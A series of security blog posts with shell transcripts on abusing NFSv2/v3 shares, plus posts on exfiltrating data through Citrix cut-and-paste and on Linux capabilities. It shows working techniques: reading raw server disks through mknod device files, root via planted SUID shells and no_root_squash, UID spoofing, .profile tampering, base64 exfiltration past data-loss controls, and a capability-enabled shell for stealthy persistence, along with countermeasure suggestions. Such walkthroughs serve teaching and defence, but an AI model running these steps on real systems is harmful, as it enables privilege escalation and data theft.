Often-times, the changes are done in a way that doesn't break existing functionality. So, you can find a weakness in an (old) system that it still present in newer incarnations, since the feature needs to be activated.
In this case, we are going to look at two useful options for NFS mounts – noexec and nodev. By default these are allowed.
First, noexec. This sort of makes sense – by default allowing you to execute programs on NFS shares. However, in today's landscape, as it isn't (normally) authenticated (e.g. Kerberos); probably less so. Let's turn that off on authorized clients:
[root@centos-7-2-t2 ~]# mount -t nfs -o tcp,vers=3,nosuid,noexec centos-7-2-t1:/myShare /myNFSmount [root@centos-7-2-t2 ~]# su - joe Last login: Wed May 18 10:21:32 BST 2016 on pts/0 [joe@centos-7-2-t2 ~]$ /myNFSmount/bash.centos72 -bash: /myNFSmount/bash.centos72: Permission denied
Next, nodev. This is a nice one. By default we allow special files on an NFS share, these can be named pipes, sockets, and also filesystem devices; basically any device.
Device special files are special on the client that is accessing it. This implies that whether it is the NFS server or the NFS client, the access is the kernel device driver on the system you are accessing it. So, if you create a device for the root filesystem, from a client, then access it on the server; you have access to the root filesystem device on the server.
There is a caveat, by default root is 'squashed', so you cannot just create a device for a filesystem from a client. However, a) this isn't always the case, and b) you can always compromise the NFS server itself and use it the other way round to escalate privileges on the clients.
First example will be with no_root_squash, thus:
[root@centos-7-2-t1 myShare]# cat /etc/exports /myShare          *(rw,no_root_squash) [root@centos-7-2-t1 myShare]# exportfs -ra [root@centos-7-2-t1 myShare]# ls -lL /dev/mapper/centos-dummy brw-rw----. 1 root disk 253, 2 May 11 18:16 /dev/mapper/centos-dummy [root@centos-7-2-t1 myShare]# getent passwd joe joe:x:5001:5001::/home/joe:/bin/bash
Now, on the centos-dummy filesystem we have a secret file. So, from the adversaries box (or a compromised client), we can do this:
[root@centos-7-2-t3 ~]# mount -t nfs -o tcp,vers=3 centos-7-2-t1:/myShare /tgtNFSmount/ [root@centos-7-2-t3 ~]# cd /tgtNFSmount/ [root@centos-7-2-t3 tgtNFSmount]# mknod testDev b 253 2 [root@centos-7-2-t3 tgtNFSmount]# chown 5001:5001 testDev [root@centos-7-2-t3 tgtNFSmount]# ls -l testDev brw-r--r--. 1 5001 5001 253, 2 May 26 10:55 testDev
Then as joe on the NFS server (or a client) we can then view the filesystem (for the demo we are just using strings, but there are many options including e.g. dd the whole thing for offsite enjoyment):
[joe@centos-7-2-t1 ~]$ strings /dev/mapper/centos-dummy strings: /dev/mapper/centos-dummy: Permission denied [joe@centos-7-2-t1 ~]$ strings /myShare/testDev | head -20 #k?WQk?W /mnt lost+found supersecret.txt mySetpriv ... unconfined_u:object_r:mnt_t:s0 AReallyComplicatedPassword-OK-LONG-Password  @B1 B82 ...
i.e. we are reading the following file:
[root@centos-7-2-t1 myShare]# mount -o nosuid /dev/mapper/centos-dummy /mnt [root@centos-7-2-t1 myShare]# ls -l /mnt/supersecret.txt ----------. 1 root root 44 May 20 20:53 /mnt/supersecret.txt [root@centos-7-2-t1 myShare]# cat /mnt/supersecret.txt AReallyComplicatedPassword-OK-LONG-Password
Now, for a cross-platform attempt. First, what device do we need on Solaris:
joe@sol10-u9-t4$ df -k /export/home/ Filesystem            kbytes    used   avail capacity  Mounted on /dev/dsk/c1t0d0s7    8245877    8210 8155209     1%    /export/home joe@sol10-u9-t4$ ls -lL /dev/kmem /dev/dsk/c1t0d0s7 brw-r-----   1 root     sys       30,  7 May 10 16:28 /dev/dsk/c1t0d0s7 crw-r-----   1 root     sys       13,  1 May 10 16:12 /dev/kmem
Then on the adversary's Linux box we do the following:
[root@centos-7-2-t3 tgtNFSmount]# mknod solKmem c 13 1 [root@centos-7-2-t3 tgtNFSmount]# mknod sols7 b 30 7
Then back on the Solaris box we can now do this:
joe@sol10-u9-t4$ strings /myOracleShare/sols7 2> /dev/null | more /export/home v$2W v$2W … .profile local.cshrc local.login local.profile .bash_history This is the default standard profile provided to a user. They are expected to edit it to meet their own needs. MAIL=/usr/mail/${LOGNAME:?} …
But due to some quirks with this kernel we cannot do the following (there may be kernels for which this will work .. I would need to look into it in much more detail)
joe@sol10-u9-t4$ mdb -k /myOracleShare/solKmem /dev/ksyms mdb: failed to read ELF header from /myOracleShare/solKmem: Bad address
As you can see, being able to create device special files via a client or the server can be extremely dangerous.
As a side note, Solaris does not have nodev. Instead, nosuid infers the equivalent of nodev. So, it will inadvertently be stopped by the more obvious nosuid lockdown.
Suggestion 6 – only allow appropriate files on a share or mount. Pay particular attention to special files and suid files.
Suggestion 7 – if possible, ensure that the filesystem you are sharing is also mounted with restrictive options on the NFS server.
Case 8 – SELinux
On Linux we can use SELinux to enforce a number of security constraints.
This isn't as scary as people think. You don't have to go into the details of creating policies, etc. Instead, the default targeted policy has a set of SELinux booleans that you can turn on and off to influence policy.
You can see a few by running:
[root@centos-7-2-t1 ~]# getsebool -a | fgrep -i nfs ... nfs_export_all_ro --> on nfs_export_all_rw --> on nfsd_anon_write --> off ... samba_share_nfs --> off ...
SELinux is a big subject in itself, so I'll leave it for now in this article. Perhaps for another time.
Case n+1
There are many other ways to abuse NFS. For example, normally none of it uses encryption or cryptographic authentication. You can protect part of the NFSv2/3 connections using Kerberos, but for full authentication/encryption you need to be using NFSv4.
So, MITM attacks to monitor or alter data is also a viable option, but I will leave that as an exercise for the reader.
Enjoy.

Following on from Part 1 of this article, we continue our introduction to NFS by abusing SUID.
When we talk about SUID here, we also infer SGID. i.e. you can set the effective group ID as well; but I will leave that as an exercise for the reader.
Case 4a – nosuid
Unlike the no_root_squash option, which is by default 'squashed', the ability to have and use SUID executables on an NFS share is there by default. If you mount a filesystem, there is no indication that you have enabled this (suid) capability as the non-default flag is the inverse of that.
My Solaris 10U9 box disables this as an explict (default) flag for the /net filesystem, which you can see in the config /etc/auto_master, but for normal mounts you must specify it yourself.
What this implies is that the clients (and the NFS server) trust the data on the filesystem, so much so that you can have executable code on the filesystem that can take on the privileges of others via SUID.
Let's assume that you have got unprivileged access to a Solaris client, but wish to access the oracle user in order to pilfer data from a database. Let's also assume that you have access to another client as root or oracle (this could be the attackers box), which can (or does) mount the NFS share.
On the Solaris client (the DB server) we have the following setup:
sol10-u9-t4# mkdir /myOracleShare sol10-u9-t4# groupadd -g 5000 dba sol10-u9-t4# useradd -u 5000 -g dba -d /export/home/oracle -m oracle 64 blocks sol10-u9-t4# chown oracle:dba /myOracleShare/ sol10-u9-t4# mount -F nfs -o vers=3 centos-7-2-t1:/myShare /myOracleShare/
So, from the attackers controlled box (with root access and the share mounted), we can do the following. Note that this is a Linux box in this case, and as it is the attackers box, uid 5000 is user bh5000 and not the name oracle. It will appear as oracle on the DB server.
[bh5000@centos-7-2-t3 ~]$ cp sh.sol10 /tgtNFSmount/ [bh5000@centos-7-2-t3 ~]$ chmod 4755 /tgtNFSmount/sh.sol10 [bh5000@centos-7-2-t3 ~]$ ls -l /tgtNFSmount/sh.sol10 -rwsr-xr-x. 1 bh5000 bh5000 82456 May 18 09:53 /tgtNFSmount/sh.sol10
Now, back on the Oracle DB server, where the attacker has unprivileged access, we can now do the following:
joe@sol10-u9-t4$ cd /myOracleShare/ joe@sol10-u9-t4$ id -a uid=102(joe) gid=1000(users) groups=1000(users) joe@sol10-u9-t4$ ./sh.sol10 $ id -a uid=102(joe) gid=1000(users) euid=5000(oracle) groups=1000(users)
Success, our effective UID is now that of the oracle user.
If the client was a Linux box, then we could also do the same. So, for centos-7-2-t2 as a client, with the mount as /myNFSmount.
[bh5000@centos-7-2-t3 ~]$ cp /bin/bash /tgtNFSmount/bash.centos72 [bh5000@centos-7-2-t3 ~]$ chmod 4755 /tgtNFSmount/bash.centos72 [bh5000@centos-7-2-t3 ~]$ ls -l /tgtNFSmount/bash.centos72 -rwsr-xr-x. 1 bh5000 bh5000 960376 May 18 09:59 /tgtNFSmount/bash.centos72
Then on the client:
[joe@centos-7-2-t2 myNFSmount]$ cd [joe@centos-7-2-t2 ~]$ cd /myNFSmount/ [joe@centos-7-2-t2 myNFSmount]$ id uid=6000(joe) gid=6000(joe) groups=6000(joe) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [joe@centos-7-2-t2 myNFSmount]$ ./bash.centos72 bash.centos72-4.2$ id uid=6000(joe) gid=6000(joe) groups=6000(joe) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Uh. I'm not euid 5000! It didn't work.
As is commonplace, we will have to do a bit more analysis. Two likely options are, the OS prevented us, or the program prevented us.
There is a quick way to test this; by using another executable and see if this causes a problem.
[bh5000@centos-7-2-t3 ~]$ cp /bin/cat /tgtNFSmount/cat.centos72 [bh5000@centos-7-2-t3 ~]$ chmod 4755 /tgtNFSmount/cat.centos72
[joe@centos-7-2-t2 myNFSmount]$ cat /home/oracle/.bash_profile | wc -l cat: /home/oracle/.bash_profile: Permission denied 0 [joe@centos-7-2-t2 myNFSmount]$ ./cat.centos72 /home/oracle/.bash_profile | wc -l 12
So it is bash. Why? Let's look at the source code.
In shell.c we find main(). Within that we see the following which will set the euid to the real uid (disabling the suid):
  if (running_setuid && privileged_mode == 0)     disable_priv_mode ();
So, how to set privileged_mode? In flags.c we see the answer, but also the following comment:
/* Non-zero means that this shell is running in `privileged' mode.  This    is required if the shell is to run setuid.  If the `-p' option is    not supplied at startup, and the real and effective uids or gids    differ, disable_priv_mode is called to relinquish setuid status. */ int privileged_mode = 0;
So, let's re-try with the '-p' option:
[joe@centos-7-2-t2 myNFSmount]$ id uid=6000(joe) gid=6000(joe) groups=6000(joe) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [joe@centos-7-2-t2 myNFSmount]$ ./bash.centos72 -p bash.centos72-4.2$ id uid=6000(joe) gid=6000(joe) euid=5000(oracle) groups=6000(joe) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Success.
Countermeasures depend partly on your situation.
On Solaris you can export the share as nosuid.
Alternatively, if the filesystem on the NFS server that houses the share does not need to have suid enabled, then ensure it is mounted nosuid in the first place.
In any case, however you mount it, ensure that the nosuid flag is set.
Case 4b – nosuid with no_root_squash
If the administrators have allowed no_root_squash on such a share, well; let the fun begin.
First, let's take the Linux client and perform the same trick as in case 4a.
[root@centos-7-2-t3 ~]# cp /bin/bash /tgtNFSmount/bash.centos72 [root@centos-7-2-t3 ~]# chmod 4755 /tgtNFSmount/bash.centos72 [root@centos-7-2-t3 ~]# ls -l /tgtNFSmount/bash.centos72 -rwsr-xr-x. 1 root root 960376 May 18 10:21 /tgtNFSmount/bash.centos72
Then on the client:
[joe@centos-7-2-t2 ~]$ cd /myNFSmount/ [joe@centos-7-2-t2 myNFSmount]$ id uid=6000(joe) gid=6000(joe) groups=6000(joe) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [joe@centos-7-2-t2 myNFSmount]$ ./bash.centos72 -p bash.centos72-4.2# id uid=6000(joe) gid=6000(joe) euid=0(root) groups=6000(joe) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Yey; got r00t.
Let's 'quickly' finish off with the Solaris example:
[root@centos-7-2-t3 ~]# cp /home/bh5000/sh.sol10 /tgtNFSmount/sh.sol10 [root@centos-7-2-t3 ~]# chmod 4755 /tgtNFSmount/sh.sol10 [root@centos-7-2-t3 ~]# ls -l /tgtNFSmount/sh.sol10 -rwsr-xr-x. 1 root root 82456 May 18 10:24 /tgtNFSmount/sh.sol10
Then on the client:
joe@sol10-u9-t4$ cd /myOracleShare/ joe@sol10-u9-t4$ id -a uid=102(joe) gid=1000(users) groups=1000(users) joe@sol10-u9-t4$ ./sh.sol10 $ id -a uid=102(joe) gid=1000(users) groups=1000(users)
Arrrgh. It was working a minute ago with the oracle user!
As we are demonstrating this (or prepping in a test lab as an adversary), let's see the syscall's that occur when we run that executable. We will need a root window on the Solaris box to do the trace of the original shell and its siblings and then re-run the SUID shell:
joe@sol10-u9-t4$ echo $$ 1526
sol10-u9-t4# truss -f -p 1526                                                                                  1526:   read(0, 0x08047534, 1)          (sleeping...) … 1550:   getuid()                                        = 102 [0] 1550:   getuid()                                        = 102 [0] 1550:   getgid()                                        = 1000 [1000] 1550:   getgid()                                        = 1000 [1000] 1550:   setuid(102)                                     = 0 …
Unfortunately we do not have the source code this time, so let's break into a debugger for some  analysis of /bin/sh (NB: yes, you could just dump the code from the binary if you wish; but we would miss all the fun in using a debugger):
joe@sol10-u9-t4$ mdb /bin/sh > ::run $ ^Cmdb: stop on SIGINT mdb: target stopped at: libc.so.1`_read+0x15:   jae    +0xc     <libc.so.1`_read+0x21> mdb: You've got symbols! Loading modules: [ ld.so.1 libc.so.1 ] > ::dis main ... main+0x240:                     call   -0xb5b0  <PLT=libc.so.1`geteuid> main+0x245:                     movl   %eax,%ebx main+0x247:                     call   -0xb2b7  <PLT=libc.so.1`getuid> main+0x24c:                     movl   %eax,-0x10(%ebp) main+0x24f:                     call   -0xb1cf  <PLT=libc.so.1`getegid> main+0x254:                     movl   %eax,%edi main+0x256:                     call   -0xb1c6  <PLT=libc.so.1`getgid> main+0x25b:                     movl   %eax,%esi main+0x25d:                     movl   -0x10(%ebp),%eax main+0x260:                     cmpl   %eax,%ebx main+0x262:                     je     +0x10    <main+0x272> main+0x264:                     cmpl   $0x64,%ebx main+0x267:                     jge    +0xb     <main+0x272> main+0x269:                     pushl  %eax main+0x26a:                     call   -0xb1ca  <PLT:setuid> main+0x26f:                     addl   $0x4,%esp main+0x272:                     cmpl   %esi,%edi ...
Here we can clearly see the answer.
We get the values for the real and effective UIDs (and GIDs).
Then, the first compare at main+0x260 checks to see if the real and effective UIDs are the same; if so we skip the rest of this test and carry on as normal.
The second compare at main+0x264 checks to see if the effective UID is greater than or equal to 0x64 (100); if so we carry on as normal.
If both tests are true then we reset the user's UID to their real UID. i.e. if we are running SUID and the UID is a system reserved UID (< 100), drop the privs to that of the calling user.
In both cases (4a, 4b), workarounds to the program preventing you becoming suid are numerous, including rolling your own program (just recompile a custom bash, for instance), use another program if available.
Suggestion 3 – don't allow suid on NFS
From an adversaries or pen-tester's point-of-view, this is a simple demonstration that it can appear your attack didn't work, but it did work as intended (the basic premise was right); it is just that something else broke it. In this case, both bash and Solaris sh shells have countermeasures to stop SUID abuse irrespective of the use of NFS.
In Part 3 we will wrap up this basic overview of NFSv2/v3 with a look at a number of other countermeasures.

Part 1
In this blog I thought that it would be good to look at a common network filesystem in use on Linux and UNIX systems; that of NFS - specifically versions 2/3. NFSv3 can be found in Internet RFC1813, from 1995. For NFSv2 see RFC1094 from 1989 . NFSv4 really needs separate treatment.
Due to the fun that can be had, I've split it into a number of parts.
NFS is a way of sharing part or all of a UNIX filesystem to other computers, very much likes CIFS/Samba shares in the Windows world. It was developed in a time when there was less focus on security and, typically, hosts were generally trusted to be 'honest'.
So, why is this a problem I hear you ask.
Traditionally NFS was used to share user home areas, mail directories, and 'common' local applications. It has also be used to share application data between nodes. As an adversary, it naturally follows that if we can abuse NFS to read or write to those filesystems we can do useful things. For example...
- User home areas can have personal/private information, shell history files, ssh private keys, etc. All useful information to pilfer. - User home areas have profile files and other shares may have other executable content. If we can write to these locations, worst case we could execute arbitrary code on the 'inaccessible' clients as an unprivileged user. If we are lucky root will execute these; this allows us to potentially elevate our access onto systems. - Application data. Is this 'sensitive' info (customer data, for example), system backups (any /etc/shadow files, web server SSL private keys), database files, web server directories to present exploits to web clients.
… and this is just a small set of examples.
Depending on the access and type of data, we can compromise the confidentiality, integrity and availability of systems and/or data. This isn't just those in the NFS environment, but the information/access gained can be useful to allow us to pivot onto other systems.
When reading the examples, think what the consequences would be if the example files were each of the above, and you start to get an idea of the scope of abuse we can cause.
Rather than look at some complex penetration tester technique to compromise all of this, I will go through a number of simple, common and powerful techniques that can result in compromise. At each stage we will look at improving the situation and then look at other ways we can abuse it.
First, the setup used in the examples.
We will have three devices running Linux: - centos-t-2-t1 will be the NFS server, sharing /myShare to all hosts with the no_root_squash option - centos-7-2-t2 will be the legitimate NFS client, mounting it as /myNFSmount - centos-7-2-t3 will be the adversaries' system.
Occasionally we will use sol10-u9-t4, which is a Solaris system as there are some useful differences to point out.
We also have implemented one of my pet hates. Due to 'problems' in getting things to work properly, the users have decided that doing a 'chmod 777' will fix things. Sigh  :-(
[root@centos-7-2-t1 ~]$ cat /etc/exports
/myShare          *(rw,no_root_squash)
[root@centos-7-2-t1 ~]# showmount --exports
Export list for centos-7-2-t1.m0noc.net:
/myShare *
[root@centos-7-2-t2 ~]# mount -t nfs -o tcp,vers=3 centos-7-2-t1:/myShare /myNFSmount
Now, before going into some of the detail it is worth mentioning two ways to mount NFS shares. There is the traditional 'mount' command as shown, but one that many people forget is the /net automount, which is available by default on Solaris. Here you change to the /net/HOSTNAME/MOUNT directory where HOSTNAME and MOUNT are the hostname/ip address and the share location to automatically mount it as an unprivileged user.
joe@sol10-u9-t4$ id
uid=102(joe) gid=1(other)
joe@sol10-u9-t4$ ls -la /net/centos-7-2-t1/myShare  
total 17
drwxr-xr-x   3 5000     5000          57 May 11  2016 .
dr-xr-xr-x   2 root     root           2 May 10 18:12 ..
-rwx------   1 5000     5000          43 May 11  2016 .profile
drwx------   2 root     root          16 May 11  2016 foo
----------   1 5000     5000          13 May 10 15:38 supersecretfile.txt
Admittedly, when I was trying this out on a Solaris 10U9 box and CentOS 7.2 I did have to tweak it as it attempted the mount over NFSv4. However, old versions of Solaris and Linux wont support NFSv4. Further, it is not uncommon for administrators to disable NFSv4 because of interoperability 'issues' like this. So, even in in the latest OS's, if the adversary has compromised a Solaris box as an unprivileged user, this could be a way to gain access to a share, rather than using their own box or escalating their privileges.
Finally, these are just examples. There are many variants and other tricks you can perform.
Case 1 – 'chmod 777'
This is an all too common 'fix' with users and administrators working round something not working correctly. It basically states, allow all users all forms of access to the file or directory. The beauty of it over NFS is that any user that can access it from any host can also experience the same privileges.
In this case the adversary doesn't even need their own system as the following will give them access (providing the system can see the share)-
- any system with root access allows them to mount it - (potentially) any Solaris system as any user via the /net filesystem - any legitimate (or otherwise) client that has mounted that filesystem
Let's assume that the NFS server has the following in the filesystem:
[root@centos-7-2-t1 myShare]# ls -la
total 8
drwxrwxrwx.  3 oracle oracle   84 May 11 13:43 .
dr-xr-xr-x. 19 root   root   4096 May 10 13:30 ..
----------.  1 oracle oracle    0 May 10 15:40 do-not-delete-me.txt
drwxr-xr-x.  2 root   root     16 May 11 13:43 foo
-rwxrwxrwx.  1 oracle oracle    18 May 11 13:47 .profile
-r--------.  1 oracle oracle   13 May 10 15:38 supersecretfile.txt
[root@centos-7-2-t1 myShare]# ls -l foo
total 0
-rwxr-x---. 1 root root 0 May 11 13:43 bar
Whilst under this setup there are a few things we cannot do as a non-privileged user, for example read or change ownership of supersecretfile.txt, we can do a few other things:
We can delete files we cannot access, as this is done by updating the directory inode:
[joe@centos-7-2-t2 myNFSmount]$ rm do-not-delete-me.txt
rm: remove write-protected regular empty file ‘do-not-delete-me.txt’? y
[joe@centos-7-2-t2 myNFSmount]$
We can update world-writable files like .profile, so if anyone sources that file (e.g on a client we don't have access too) then we can run arbitrary code as that user (inc root!) on that client.


[joe@centos-7-2-t2 myNFSmount]$ echo echo You have been pwned >> .profile
[joe@centos-7-2-t2 myNFSmount]$
However, we cannot overwrite the foo sub-directory, but as we know what is in there we can 'replace' it. Again, this is because the move is updating the world-writable directory inode and not the file.
[joe@centos-7-2-t2 myNFSmount]$ mv foo no.foo
[joe@centos-7-2-t2 myNFSmount]$ mkdir foo
[joe@centos-7-2-t2 myNFSmount]$ echo You have been pwned >> foo/bar
[joe@centos-7-2-t2 myNFSmount]$
Result:
[root@centos-7-2-t1 myShare]# find . -ls
1248132    0 drwxrwxrwx   4 oracle   oracle         70 May 11 13:53 .
1431703    4 -r--------   1 oracle   oracle         13 May 10 15:38 ./supersecretfile.txt
492804    4 -rwxrwxrwx   1 oracle   oracle         43 May 11 13:52 ./.profile
492802    0 drwxr-xr-x   2 root     root           16 May 11 13:43 ./no.foo
492803    0 -rwxr-x---   1 root     root            0 May 11 13:43 ./no.foo/bar
33848916    0 drwxrwxr-x   2 6000     6000           16 May 11 13:53 ./foo
33848917    4 -rw-rw-r--   1 6000     6000           20 May 11 13:53 ./foo/bar
Suggestion 1 – set appropriate permissions on your files – don't allow world write.
Case 2 – no_root_squash
This is only ever useful+safe(ish) for diskless clients or Jumpstart servers as a read-only share. It allows the root user on any system that can access the NFS share to act as if they are root on files within that share.
Conversely, when root is 'squashed', root from the client is treated as an unprivileged user on the server. Therefore, root owned files on the server are accessed as a non-root user by root on the client.
Anyway, in this case of no_root_squash, the adversary either needs to gain root access to a legitimate or other client, or be able to access it from their own system (one would expect they have root access on that).
Lets assume we have the following setup on the share:
[root@centos-7-2-t1 myShare]# find . -ls
1248132    0 drwx------   3 oracle   oracle         57 May 11 13:59 .
1431703    4 ----------   1 oracle   oracle         13 May 10 15:38 ./supersecretfile.txt
492804    4 -rwx------   1 oracle   oracle         43 May 11 13:52 ./.profile
492802    0 drwx------   2 root     root           16 May 11 13:43 ./foo
492803    0 -rwx------   1 root     root            0 May 11 13:43 ./foo/bar
Now, on an attacker controlled box we can just access supersecretfile.txt:
[root@centos-7-2-t3 ~]# mount -t nfs -o tcp,vers=3 10.255.0.13:/myShare /tgtNFSmount/
[root@centos-7-2-t3 ~]# cd /tgtNFSmount
[root@centos-7-2-t3 tgtNFSmount]# cat supersecretfile.txt
nobody knows
Or, for example, change the ownership of an arbitrary file:
[root@centos-7-2-t3 tgtNFSmount]# chown root .profile
[root@centos-7-2-t3 tgtNFSmount]# ls -l .profile
-rwx------. 1 root oracle 43 May 11 13:52 .profile
It gets worse; but more on that in part 2.
Suggestion 2 – don't use no_root_squash unless absolutely necessary; even then it should be read-only.
Case 3 – Permissions don't really matter
It was hinted at in case 2, but one of the most fundamental things to understand about NFS is that the client server plays a pivotal role in the authentication decision.
Let's assume we start with the same situation as in case 2:
[root@centos-7-2-t1 myShare]# find . -ls
1248132    0 drwx------   3 oracle   oracle         57 May 11 13:59 .
1431703    4 ----------   1 oracle   oracle         13 May 10 15:38 ./supersecretfile.txt
492804    4 -rwx------   1 oracle   oracle         43 May 11 13:52 ./.profile
492802    0 drwx------   2 root     root           16 May 11 13:43 ./foo
492803    0 -rwx------   1 root     root            0 May 11 13:43 ./foo/bar
Except this time, we don't export the filesystem with no_root_squash:
[root@centos-7-2-t1 myShare]# cat /etc/exports
/myShare          *(rw)
Now, if the attacker mounts or accesses the share as root:
[root@centos-7-2-t3 ~]# mount -t nfs -o tcp,vers=3 10.255.0.13:/myShare /tgtNFSmount/
[root@centos-7-2-t3 ~]# cd /tgtNFSmount/
-bash: cd: /tgtNFSmount/: Permission denied
[root@centos-7-2-t3 ~]# ls -ld /tgtNFSmount/
drwx------. 3 5000 5000 57 May 11 13:59 /tgtNFSmount/
Well, that's annoying.
But all is not lost. As we are root on the client (the attackers box), we can just create a new user with uid 5000, become that user and access the share – since the owner of the file/dir isn't root:
[root@centos-7-2-t3 ~]# useradd -u 5000 -m bh5000
[root@centos-7-2-t3 ~]# su - bh5000
[bh5000@centos-7-2-t3 ~]$ cd /tgtNFSmount/
[bh5000@centos-7-2-t3 tgtNFSmount]$ ls -l
total 4
drwx------. 2 root   root   16 May 11 13:43 foo
----------. 1 bh5000 bh5000 13 May 10 15:38 supersecretfile.txt
We can then change the permissions of  supersecretfile.txt to read it, and perform the same trick as in case 1 to replace the foo directory.
Note that on the NFS server the owner is oracle, but here it is bh5000. This is because the OS and NFS work on UID/GIDs and not names. The local server translates the UID/GID to meaningful names based on /etc/passwd or other name services, as a convenience for us humans. In this case UID 5000 and GID 5000.
Note in this case, as we don't have no_root_squash, any root-owned file is not as easy to access; and won't work via this trick (unless the existing permissions allow it).
In the next part I will be looking at escalating privileges via further abuse of the NFS share, and adding some improved countermeasures.

As someone who has to regularly diagnose issues on a plethora of operational systems and under various failure scenarios, just as a pen tester or adversary I need to think of alternative ways to do things. Some turn out to be incredibly straightforward ways to exfiltrate data from a system.

From a data loss prevention point-of-view it is clearly of critical importance that you understand any potential exfiltration mechanism so you can put in appropriate controls.

All you need are three things:
1. A transport mechanism to use/abuse. This doesn't have to be technological; a human with a USB stick for example is just as good. But you must understand the nuances of the transport.
2. A method to encode and transmit the data you are after onto the transport mechanism
3. A method to decode and receive the data over the transport mechanism

From a defenders point-of-view you need to detect and prevent potential abuses. E.g. gluing USB ports, vetting people. So there is a possible fourth item (a method for items 1 thru 3 to be done covertly or below-the-radar).

However, my example is technological.

Take a Citrix environment that is locked down so you cannot attach drives and can only access an SSH shell. However, to allow "sys admin" tasks, text-based cut-and-paste is allowed between the client and the server via Citrix.

What we want to do is get "large" text files and some binary files off the system quickly.

It turns out this is trivial. Not only that but you don't need to install anything, just use the tools that are available to you. This is ideal for an adversary, it reduces the IoC landscape.

So, the transport mechanism in this case is the cut-and-paste feature.

The encoding; well that depends on your system.

Typically, most Unix/Linux will have openssl installed. So let's use that.

The general encoding steps are simple in this case.
1. Compress the life out of the file(s) so we have the smallest possible amount of data to transmit over the transport. We want the cut-and-paste to work and there can be limits that become annoying.
2. Encode using base64.
3. Cut-and-paste the output.

As an example, let's get a copy of /bin/bash

First, we count the number of lines. Typically a buffer will only allow so many lines:

target$ gzip -9c /bin/bash | openssl enc -a | wc -l
9742

Excellent, something like PuTTY can usually work with a 10000 line buffer over the network. If it is too big, cut it into pieces.

So, in the case of PuTTY, we can go to the menu by clicking the icon at the top left of the window, go to Change Settings, then Window. We set the Lines of scrollback to cover the number of lines needed and click Apply.

Then clear the screen and via the PuTTY menu click Clear Scrollback.

Type in the command to get the data:

target$ gzip -9c /bin/bash | openssl enc -a

Go back to the PuTTY window and click Copy All to Clipboard.

Save to your client via your favourite editor and strip out the header and footer (the bits that aren't part of the output from the command).

Finally, convert it back to the original by reversing the process, this time on the client:

client$ openssl enc -a -d -in bash.puttycopy | gunzip > myBash

For that added confidence you could run a sha256 hash or similar on both copies to prove success.

Of course, you don't have to use gzip and openssl; you can use whatever is there.

On old Solaris systems you probably have uuencode and uudecode. However, a text cut-and-paste has a common side-effect; trailing spaces are removed. Yet, for uuencode/uudecode trailing spaces are important.

Well, there are a 1001 ways to get round that. A simple one is to add a non-space before transmit and remove before decode. E.g.

To encode:

target$ gzip -9c /bin/bash | uuencode - | sed -e 's;$;x;'

And to decode:

client$ sed -e 's;x$;;' bash.puttycopy | uudecode | gunzip > myBash

And not even a hint of new software on the target - we have used available transports to receive data and only used tools already on the target.

A simple solution from a defenders point-of-view would be to disable cut-and-paste, after making the appropriate business impact assessments.

From a forensics point of view, you would be looking at bash history, traffic patterns, audit logs, etc. In theory, an adversary only needs to succeed once to get your data, but a defender likewise (should) only need the adversary to slip up once to get detected. Whether that is in time is another matter.

As an infrastructure engineer (3rd line support) with a healthy interest in security I like to discover and play with the less well known features of technology. It is surprising how many people are not aware of these, even some senior administrators, yet such features can offer both strong mechanisms to improve the security of a system and strong mechanism for a more nefarious individual to compromise or otherwise abuse that system.
One of these are Linux Capabilities, which can be thought of a division of root's capabilities into discrete parts, such as the ability to open a privileged port or bypass discretionary access controls. This allows for a more fine-grained approach to security. Rather than a user or process having root privileges or not, they can have a subset.
If the process is "capabilities aware", then rather than the traditional "become_root" and "unbecome_root" functions that a SUID root process may use to protect itself, it can enable/disable the specific bits it needs. For example, if you only want to open a privileged port, you don't need to enable the ability to read/write any file.
Solaris has something similar - Privileges - but here I'm going to concentrate on the Linux variant.
Processes and files can have a number of "capability sets". These are bitmasks of the discrete capabilities. Of particular interest are:
Permitted - this is the set of capabilities that the process or file can assume
Effective - this is the set of capabilities that the process or file has
Inheritable - this is the set of capabilities that are preserved across an exec or fork e.g. that can be passed on to a sub-process.
The possible configurations are quite extensive, so reading the man page is encouraged. But let's look at some examples.
First, the classic example; ping. On older distributions this was SUID root to allow it to open raw sockets. However, on CentOS 7.1 for example, it isn't. Instead we now use capabilities:
[root@centos7-1 ~]# ls -l /bin/ping
-rwxr-xr-x. 1 root root 44896 Jun 23  2015 /bin/ping
[root@centos7-1 ~]# getcap /bin/ping
/bin/ping = cap_net_admin,cap_net_raw+p
In addition to 'getcap', we can also view the capabilities of a process in a number of ways, such as using the proc filesystem:
[root@centos7-1 ~]# grep ^Cap /proc/$$/status
CapInh:     0000000000000000
CapPrm:     0000001fffffffff
CapEff:     0000001fffffffff
CapBnd:     0000001fffffffff
Or 'getpcaps' to give a more friendly output:
[root@centos7-1 ~]# getpcaps $$
Capabilities for `3506': = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,35,36+ep
However, as you probably noticed when we listed the 'ping' executable, other than the colour (if use are using ls with colours set), there are no obvious signs that it is a privileged file. Indeed, the traditional 'find' for SUID/SGID files won't show this up. So, unless you are looking for them, these are good places to hide.
So, if an adversary has root and wishes to maintain privileged access, but stay off the radar, they may try a capabilities enabled shell:
[root@centos7-1 mnt]# cp -p /bin/bash /mnt/myBash
[root@centos7-1 mnt]# setcap all+epi /mnt/myBash
[root@centos7-1 mnt]# getcap /mnt/myBash
/mnt/myBash =eip
Then as a non-privileged user we can try this:
[paul@centos7-1 ~]$ /mnt/myBash
[paul@centos7-1 ~]$ wc -l /etc/shadow
wc: /etc/shadow: Permission denied
